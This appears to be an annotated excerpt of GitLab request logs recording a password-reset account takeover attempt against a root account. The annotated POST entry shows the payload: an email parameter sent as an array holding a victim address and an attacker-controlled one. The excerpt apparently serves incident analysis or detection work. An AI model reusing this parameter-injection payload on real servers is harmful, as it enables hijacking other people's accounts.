{"method":"GET","path":"/users/password/new","format":"*/*","controller":"PasswordsController","action":"new","status":200,"time":"2024-01-27T23:25:25.443Z","params":[],"correlation_id":"01HN6KW00708343X81VBQX6K21","meta.caller_id":"PasswordsController#new","meta.remote_ip":"18.118.86.0","meta.feature_category":"system_access","meta.client_id":"ip/18.118.86.0","remote_ip":"18.118.86.0","ua":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0","request_urgency":"default","target_duration_s":1,"redis_calls":9,"redis_duration_s":0.0022170000000000002,"redis_read_bytes":992,"redis_write_bytes":2558,"redis_cache_calls":4,"redis_cache_duration_s":0.000984,"redis_cache_read_bytes":4,"redis_cache_write_bytes":2247,"redis_feature_flag_calls":5,"redis_feature_flag_duration_s":0.001233,"redis_feature_flag_read_bytes":988,"redis_feature_flag_write_bytes":311,"db_count":2,"db_write_count":0,"db_cached_count":0,"db_replica_count":0,"db_primary_count":2,"db_main_count":2,"db_ci_count":0,"db_main_replica_count":0,"db_ci_replica_count":0,"db_replica_cached_count":0,"db_primary_cached_count":0,"db_main_cached_count":0,"db_ci_cached_count":0,"db_main_replica_cached_count":0,"db_ci_replica_cached_count":0,"db_replica_wal_count":0,"db_primary_wal_count":0,"db_main_wal_count":0,"db_ci_wal_count":0,"db_main_replica_wal_count":0,"db_ci_replica_wal_count":0,"db_replica_wal_cached_count":0,"db_primary_wal_cached_count":0,"db_main_wal_cached_count":0,"db_ci_wal_cached_count":0,"db_main_replica_wal_cached_count":0,"db_ci_replica_wal_cached_count":0,"db_replica_duration_s":0.0,"db_primary_duration_s":0.006,"db_main_duration_s":0.006,"db_ci_duration_s":0.0,"db_main_replica_duration_s":0.0,"db_ci_replica_duration_s":0.0,"cpu_s":0.04728,"mem_objects":21394,"mem_bytes":2544898,"mem_mallocs":6406,"mem_total_bytes":3400658,"pid":1489,"worker_id":"puma_1","rate_limiting_gates":[],"db_duration_s":0.00091,"view_duration_s":0.02581,"duration_s":0.03098}

# Here's wehre the attacker injects their email address in the post request:
{"method":"POST","path":"/users/password","format":"html","controller":"PasswordsController","action":"create","status":302,"location":"https://gitlab.redacted.domain/users/sign_in","time":"2024-01-27T23:25:26.082Z","params":[{"key":"user","value":{"email":["redacted-real-user","[email protected]"]}},{"key":"authenticity_token","value":"[FILTERED]"}],"correlation_id":"01HN6KW0MKKJ5T9S0S3VXTHGQ6","meta.caller_id":"PasswordsController#create","meta.remote_ip":"18.118.86.0","meta.feature_category":"system_access","meta.user":"root","meta.user_id":1,"meta.client_id":"user/1","remote_ip":"18.118.86.0","ua":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0","request_urgency":"default","target_duration_s":1,"redis_calls":7,"redis_duration_s":0.001183,"redis_read_bytes":1265,"redis_write_bytes":404,"redis_feature_flag_calls":6,"redis_feature_flag_duration_s":0.000798,"redis_feature_flag_read_bytes":1192,"redis_feature_flag_write_bytes":319,"redis_sessions_calls":1,"redis_sessions_duration_s":0.000385,"redis_sessions_read_bytes":73,"redis_sessions_write_bytes":85,"db_count":6,"db_write_count":1,"db_cached_count":0,"db_replica_count":0,"db_primary_count":6,"db_main_count":6,"db_ci_count":0,"db_main_replica_count":0,"db_ci_replica_count":0,"db_replica_cached_count":0,"db_primary_cached_count":0,"db_main_cached_count":0,"db_ci_cached_count":0,"db_main_replica_cached_count":0,"db_ci_replica_cached_count":0,"db_replica_wal_count":0,"db_primary_wal_count":0,"db_main_wal_count":0,"db_ci_wal_count":0,"db_main_replica_wal_count":0,"db_ci_replica_wal_count":0,"db_replica_wal_cached_count":0,"db_primary_wal_cached_count":0,"db_main_wal_cached_count":0,"db_ci_wal_cached_count":0,"db_main_replica_wal_cached_count":0,"db_ci_replica_wal_cached_count":0,"db_replica_duration_s":0.0,"db_primary_duration_s":0.008,"db_main_duration_s":0.008,"db_ci_duration_s":0.0,"db_main_replica_duration_s":0.0,"db_ci_replica_duration_s":0.0,"cpu_s":0.035069,"mem_objects":16921,"mem_bytes":2142944,"mem_mallocs":5474,"mem_total_bytes":2819784,"pid":1489,"worker_id":"puma_1","rate_limiting_gates":[],"db_duration_s":0.00932,"view_duration_s":0.0,"duration_s":0.03637}

# Attacher tries to sign in
{"method":"GET","path":"/users/sign_in","format":"html","controller":"SessionsController","action":"new","status":200,"time":"2024-01-27T23:25:26.162Z","params":[],"correlation_id":"01HN6KW0PYHV23M6M31JV9861Q","meta.caller_id":"SessionsController#new","meta.remote_ip":"18.118.86.0","meta.feature_category":"system_access","meta.client_id":"ip/18.118.86.0","remote_ip":"18.118.86.0","ua":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0","request_urgency":"low","target_duration_s":5,"redis_calls":11,"redis_duration_s":0.003542,"redis_read_bytes":2454,"redis_write_bytes":1111,"redis_cache_calls":4,"redis_cache_duration_s":0.001831,"redis_cache_read_bytes":2181,"redis_cache_write_bytes":245,"redis_feature_flag_calls":4,"redis_feature_flag_duration_s":0.000857,"redis_feature_flag_read_bytes":4,"redis_feature_flag_write_bytes":651,"redis_sessions_calls":3,"redis_sessions_duration_s":0.000854,"redis_sessions_read_bytes":269,"redis_sessions_write_bytes":215,"db_count":4,"db_write_count":0,"db_cached_count":0,"db_replica_count":0,"db_primary_count":4,"db_main_count":4,"db_ci_count":0,"db_main_replica_count":0,"db_ci_replica_count":0,"db_replica_cached_count":0,"db_primary_cached_count":0,"db_main_cached_count":0,"db_ci_cached_count":0,"db_main_replica_cached_count":0,"db_ci_replica_cached_count":0,"db_replica_wal_count":0,"db_primary_wal_count":0,"db_main_wal_count":0,"db_ci_wal_count":0,"db_main_replica_wal_count":0,"db_ci_replica_wal_count":0,"db_replica_wal_cached_count":0,"db_primary_wal_cached_count":0,"db_main_wal_cached_count":0,"db_ci_wal_cached_count":0,"db_main_replica_wal_cached_count":0,"db_ci_replica_wal_cached_count":0,"db_replica_duration_s":0.0,"db_primary_duration_s":0.003,"db_main_duration_s":0.003,"db_ci_duration_s":0.0,"db_main_replica_duration_s":0.0,"db_ci_replica_duration_s":0.0,"cpu_s":0.045785,"mem_objects":22685,"mem_bytes":2590504,"mem_mallocs":6183,"mem_total_bytes":3497904,"pid":1489,"worker_id":"puma_1","rate_limiting_gates":[],"db_duration_s":0.00303,"view_duration_s":0.02318,"duration_s":0.04022}